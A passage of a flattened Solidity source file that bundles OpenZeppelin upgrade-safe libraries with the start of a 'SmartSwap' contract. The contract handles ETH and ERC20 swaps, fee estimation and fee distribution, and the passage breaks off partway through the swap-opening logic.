pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts-ethereum-package/contracts/utils/Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
// File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20MinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20UpgradeSafe is Initializable, ContextUpgradeSafe, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
function __ERC20_init(string memory name, string memory symbol) internal initializer {
__Context_init_unchained();
__ERC20_init_unchained(name, symbol);
}
function __ERC20_init_unchained(string memory name, string memory symbol) internal initializer {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
uint256[44] private __gap;
}
// File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.6.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: @openzeppelin/contracts-ethereum-package/contracts/access/Ownable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract OwnableUpgradeSafe is Initializable, ContextUpgradeSafe {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
// File: @openzeppelin/contracts-ethereum-package/contracts/utils/Pausable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
contract PausableUpgradeSafe is Initializable, ContextUpgradeSafe {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
function __Pausable_init() internal initializer {
__Context_init_unchained();
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal initializer {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
uint256[49] private __gap;
}
// File: contracts/IERC20Extended.sol
pragma solidity 0.6.2;
interface IERC20Extended {
function decimals() external view returns (uint8);
function burnFrom(address account, uint256 amount) external;
}
// File: contracts/IPriceEstimator.sol
pragma solidity 0.6.2;
interface IPriceEstimator {
function getEstimatedETHforERC20(
uint256 erc20Amount,
address token
) external view returns (uint256[] memory);
function getEstimatedERC20forETH(
uint256 etherAmountInWei,
address tokenAddress
) external view returns (uint256[] memory);
}
// File: contracts/SmartSwap.sol
pragma solidity 0.6.2;
contract SmartSwap is Initializable, OwnableUpgradeSafe, PausableUpgradeSafe {
using SafeERC20 for IERC20;
using SafeMath for uint256;
using Address for address;
enum Status {
OPEN,
CLOSED,
CANCELLED
}
enum SwapType {
ETH_TO_ERC20,
ERC20_TO_ETH,
ERC20_TO_ERC20
}
struct Swap {
uint256 openValue;
uint256 closeValue;
address payable openTrader;
address payable closeTrader;
address openContractAddress;
address closeContractAddress;
SwapType swapType;
Status status;
}
address constant private ETH_ADDRESS = address(
0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE
);
uint256 constant private DEV_FEE_PERCENTAGE = 10;
uint256 constant private BURN_FEE_PERCENTAGE = 10;
//Global swap id. Also give total number of swaps made so far
uint256 private _swapId;
mapping (uint256 => Swap) private _swaps;
IERC20 private _swapToken;
//Wallet where fees will go
address payable private _feesWallet;
//Wallet where dev fund will go
address private _devWallet;
uint256 private _ethFeePercentage;
uint256 private _allowedFeeSlippagePercentage;
uint256 private _uniswapFeePercentage;
IPriceEstimator private _priceEstimator;
//list of free tokens
mapping(address => bool) private _listFreeTokens;
event Open(uint256 indexed id, address indexed openTrader, address indexed closeTrader);
event Cancel(uint256 indexed id);
event Close(uint256 indexed id);
event FeeWalletChanged(address indexed wallet);
event DevWalletChanged(address indexed wallet);
event SwapTokenUpdated(address indexed swapTokenAddress);
modifier onlyContract(address account)
{
require(account.isContract(), "[Validation] The address does not contain a contract");
_;
}
modifier onlyOpenSwaps(uint256 id) {
Swap memory swap = _swaps[id];
require (swap.status == Status.OPEN);
_;
}
/**
* @dev initialize
*/
function initialize(
address swapTokenAddress,
address payable feesWallet,
address devWallet,
address priceEstimator
)
external
onlyContract(swapTokenAddress)
onlyContract(priceEstimator)
{
__SmartSwap_init(swapTokenAddress, feesWallet, devWallet, priceEstimator);
}
function __SmartSwap_init(
address swapTokenAddress,
address payable feesWallet,
address devWallet,
address priceEstimator
)
internal
initializer
{
__Context_init_unchained();
__Ownable_init_unchained();
__Pausable_init_unchained();
__SmartSwap_init_unchained(swapTokenAddress, feesWallet, devWallet, priceEstimator);
}
function __SmartSwap_init_unchained(
address swapTokenAddress,
address payable feesWallet,
address devWallet,
address priceEstimator
)
internal
initializer
{
require(
swapTokenAddress != address(0),
"[Validation] Invalid swap token address"
);
require(feesWallet != address(0), "[Validation] feesWallet is the zero address");
require(devWallet != address(0), "[Validation] devWallet is the zero address");
require(
priceEstimator != address(0),
"[Validation] Invalid price estimator address"
);
_swapToken = IERC20(swapTokenAddress);
_feesWallet = feesWallet;
_devWallet = devWallet;
_priceEstimator = IPriceEstimator(priceEstimator);
_ethFeePercentage = 3;
_allowedFeeSlippagePercentage = 5;
_uniswapFeePercentage = 3;
}
/**
* @dev Called by an admin to pause, triggers stopped state.
*/
function pause()
external
onlyOwner
{
_pause();
}
/**
* @dev Called by an admin to unpause, returns to normal state.
*/
function unpause()
external
onlyOwner
{
_unpause();
}
/**
* @dev Update swap token address
* @param swapTokenAddress New swap token address
*/
function setSwapToken(address swapTokenAddress)
external
onlyOwner
onlyContract(swapTokenAddress)
{
require(
swapTokenAddress != address(0),
"[Validation]: Invalid swap token address"
);
_swapToken = IERC20(swapTokenAddress);
emit SwapTokenUpdated(swapTokenAddress);
}
/**
* @dev Allows admin to set fee receiver wallet
* @param wallet New wallet address
*/
function setFeeWallet(address payable wallet)
external
onlyOwner
{
require(
wallet != address(0),
"[Validation] feesWallet is the zero address"
);
_feesWallet = wallet;
emit FeeWalletChanged(wallet);
}
/**
* @dev Allows admin to set fee receiver wallet
* @param wallet New wallet address
*/
function setDevWallet(address payable wallet)
external
onlyOwner
{
require(
wallet != address(0),
"[Validation] devWallet is the zero address"
);
_devWallet = wallet;
emit DevWalletChanged(wallet);
}
/**
* @dev Update price estimator address
* @param priceEstimator New price estimator address
*/
function setPriceEstimator(address priceEstimator)
external
onlyOwner
onlyContract(priceEstimator)
{
require(
priceEstimator != address(0),
"[Validation]: Invalid price estimator address"
);
_priceEstimator = IPriceEstimator(priceEstimator);
}
/**
* @dev Update fees
* @param ethFeePercentage New percentage of fee in eth
*/
function setEthFeePercentage(uint8 ethFeePercentage)
external
onlyOwner
{
require(
ethFeePercentage >= 0 && ethFeePercentage <= 100,
"[Validation]: ETH Fee percentage must be between 0 to 100"
);
_ethFeePercentage = ethFeePercentage;
}
/**
* @dev Update fee slippage percentage allowance for erc20
* @param allowedFeeSlippagePercentage New allowed fee slippage percentage for fee in erc20
*/
function setAllowedFeeSlippagePercentage(uint8 allowedFeeSlippagePercentage)
external
onlyOwner
{
require(
allowedFeeSlippagePercentage >= 0 && allowedFeeSlippagePercentage <= 100,
"[Validation]: Allowed Fee Slippage percentage must be between 0 to 100"
);
_allowedFeeSlippagePercentage = allowedFeeSlippagePercentage;
}
/**
* @dev Update Uniswap fees
* @param uniswapFeePercentage New percentage of uniswap fee
*/
function setUniswapFeePercentage(uint8 uniswapFeePercentage)
external
onlyOwner
{
require(
uniswapFeePercentage >= 0 && uniswapFeePercentage <= 100,
"[Validation]: Uniswap Fee percentage must be between 0 to 100"
);
_uniswapFeePercentage = uniswapFeePercentage;
}
function getFeeInEthForEth(uint256 amount)
public
view
returns (uint256)
{
//_ethFeePercentage is a percentage expressed in 1/10 (a tenth) of a percent hence we divide by 1000
return amount.mul(_ethFeePercentage).div(1000); //0.3% of ETH amount
}
function getFeeInEthForERC20(uint256 amount, address token)
public
view
returns (uint256)
{
if(isFreeToken(token)) {
return 0;
} else {
//price should be estimated by 1 token because Uniswap algo changes price based on large amount
uint256 tokenBits = 10 ** uint256(IERC20Extended(token).decimals());
uint256 estFeesInEthPerUnit = _priceEstimator.getEstimatedETHforERC20(tokenBits, token)[0];
//subtract uniswap 0.30% fees
//_uniswapFeePercentage is a percentage expressed in 1/10 (a tenth) of a percent hence we divide by 1000
estFeesInEthPerUnit = estFeesInEthPerUnit.sub(estFeesInEthPerUnit.mul(_uniswapFeePercentage).div(1000));
uint256 equivEth = amount.mul(estFeesInEthPerUnit).div(tokenBits); //multiply by amount to be scheduled amount
return getFeeInEthForEth(equivEth);
}
}
function getFeeInEthForERC20UsingTotalSupply(uint256 amount, address token)
public
view
returns (uint256)
{
if(isFreeToken(token)) {
return 0;
} else {
//per 1% supply , 0.1 ETH is the fee
uint256 tokenTotalSupply = IERC20(token).totalSupply();
uint256 percentage = amount.mul(tokenTotalSupply).mul(100).div(tokenTotalSupply);
uint256 ethFeeInWei = 100000000000000000; //0.1 ETH
return percentage.mul(ethFeeInWei).div(tokenTotalSupply);
}
}
function getFeeInSwapForETH(uint256 amount)
public
view
returns (uint256)
{
uint256 feesInEth = getFeeInEthForEth(amount);
return _getEquivSwapFee(feesInEth);
}
function getFeeInSwapForERC20(uint256 amount, address token, bool calcFeeUsingTotalSupply)
public
view
returns (uint256)
{
uint256 feesInEth = calcFeeUsingTotalSupply ?
getFeeInEthForERC20UsingTotalSupply(amount, token) :
getFeeInEthForERC20(amount, token);
return _getEquivSwapFee(feesInEth);
}
function _getEquivSwapFee(uint256 feesInEth)
private
view
returns (uint256)
{
uint256 feesInEthIfPaidViaSwap = feesInEth.div(2);
uint256 swapPerEth = _priceEstimator.getEstimatedERC20forETH(1, address(_swapToken))[0];
//subtract uniswap 0.30% fees
//_uniswapFeePercentage is a percentage expressed in 1/10 (a tenth) of a percent hence we divide by 1000
uint256 estSwapPerEth = swapPerEth.sub(swapPerEth.mul(_uniswapFeePercentage).div(1000));
return feesInEthIfPaidViaSwap.mul(estSwapPerEth);
}
function _distributeFees(uint256 fee)
private
{
uint256 devAmount = fee.mul(DEV_FEE_PERCENTAGE).div(100); //10%
uint256 burnAmount = fee.mul(BURN_FEE_PERCENTAGE).div(100); //10%
uint256 remAmount = fee.sub(devAmount).sub(burnAmount); //80%
_swapToken.safeTransferFrom(msg.sender, _feesWallet, remAmount);
_swapToken.safeTransferFrom(msg.sender, _devWallet, devAmount);
IERC20Extended(address(_swapToken)).burnFrom(msg.sender, burnAmount);
}
function open(
uint256 openValue,
address openContractAddress,
uint256 closeValue,
address payable closeTrader,
address closeContractAddress,
uint256 fee,
bool isFeeInSwap,
bool calcFeeUsingTotalSupply
)
external
payable
whenNotPaused
{
require(openValue > 0, "[Validation] The open value has to be larger than 0");
require(closeValue > 0, "[Validation] The close value has to be larger than 0");
if(!isFreeToken(openContractAddress)) {
require(fee > 0, "[Validation] The fee has to be larger than 0");
}
require(closeTrader != address(0), "[Validation] Invalid close trader address");
if(ETH_ADDRESS == openContractAddress)
{
_openEtherToERC20(
openValue,
closeValue,
closeTrader,
closeContractAddress,
fee,
isFeeInSwap
);
}
else if(ETH_ADDRESS == closeContractAddress)
{
_openERC20ToEther(
openValue,
openContractAddress,
closeTrader,
closeValue,
fee,
isFeeInSwap,
calcFeeUsingTotalSupply
);
}
else
{
_openERC20ToERC20(
openValue,
openContractAddress,
closeValue,
closeTrader,
closeContractAddress,
fee,
isFeeInSwap,
calcFeeUsingTotalSupply
);
}
}
function _openEtherToERC20(
uint256 ethValue,
uint256 erc20Value,
address payable erc20Trader,
address erc20ContractAddress,
uint256 fee,
bool isFeeInSwap
)
private
whenNotPaused
onlyContract(erc20ContractAddress)
{
require(ethValue > 0, "[Validation] The ETH amount has to be larger than 0");
require(erc20Value > 0, "[Validation] The ERC-20 amount has to be larger than 0");
require(fee > 0, "[Validation] The fee has to be larger than 0");
//Transferring fee to the wallet
if(isFeeInSwap){
require(msg.value >= ethValue, "[Validation] Enough ETH not sent");
uint256 minRequiredFeeInSwap = getFeeInSwapForETH(ethValue);
uint256 feeDiff = 0;
if( fee < minRequiredFeeInSwap ) {
feeDiff = minRequiredFeeInSwap.sub(fee);
uint256 feeSlippagePercentage = feeDiff.mul(100).div(minRequiredFeeInSwap);
//will allow if diff is less than 5%
require(feeSlippagePercentage < _allowedFeeSlippagePercentage, "[Validation] Fee (SWAP) is below minimum required fee");
}
_distributeFees(minRequiredFeeInSwap);
}
else {
uint256 minRequiredFeeInEth = getFeeInEthForEth(ethValue);
require(fee >= minRequiredFeeInEth, "[Validation] Fee (ETH) is below minimum required fee");
require(msg.value >= ethValue.add(minRequiredFeeInEth), "[Validation] Enough ETH not sent");
(bool success,) = _feesWallet.call.value(minRequiredFeeInEth)("");
require(success, "[Validation] Transfer of fee failed");
}
_swapId = _swapId.add(1);
// Store the details of the swap.
_swaps[_swapId] = Swap({
openValue: ethValue,
openTrader: msg.sender,
openContractAddress: ETH_ADDRESS,
closeValue: erc20Value,
closeTrader: erc20Trader,
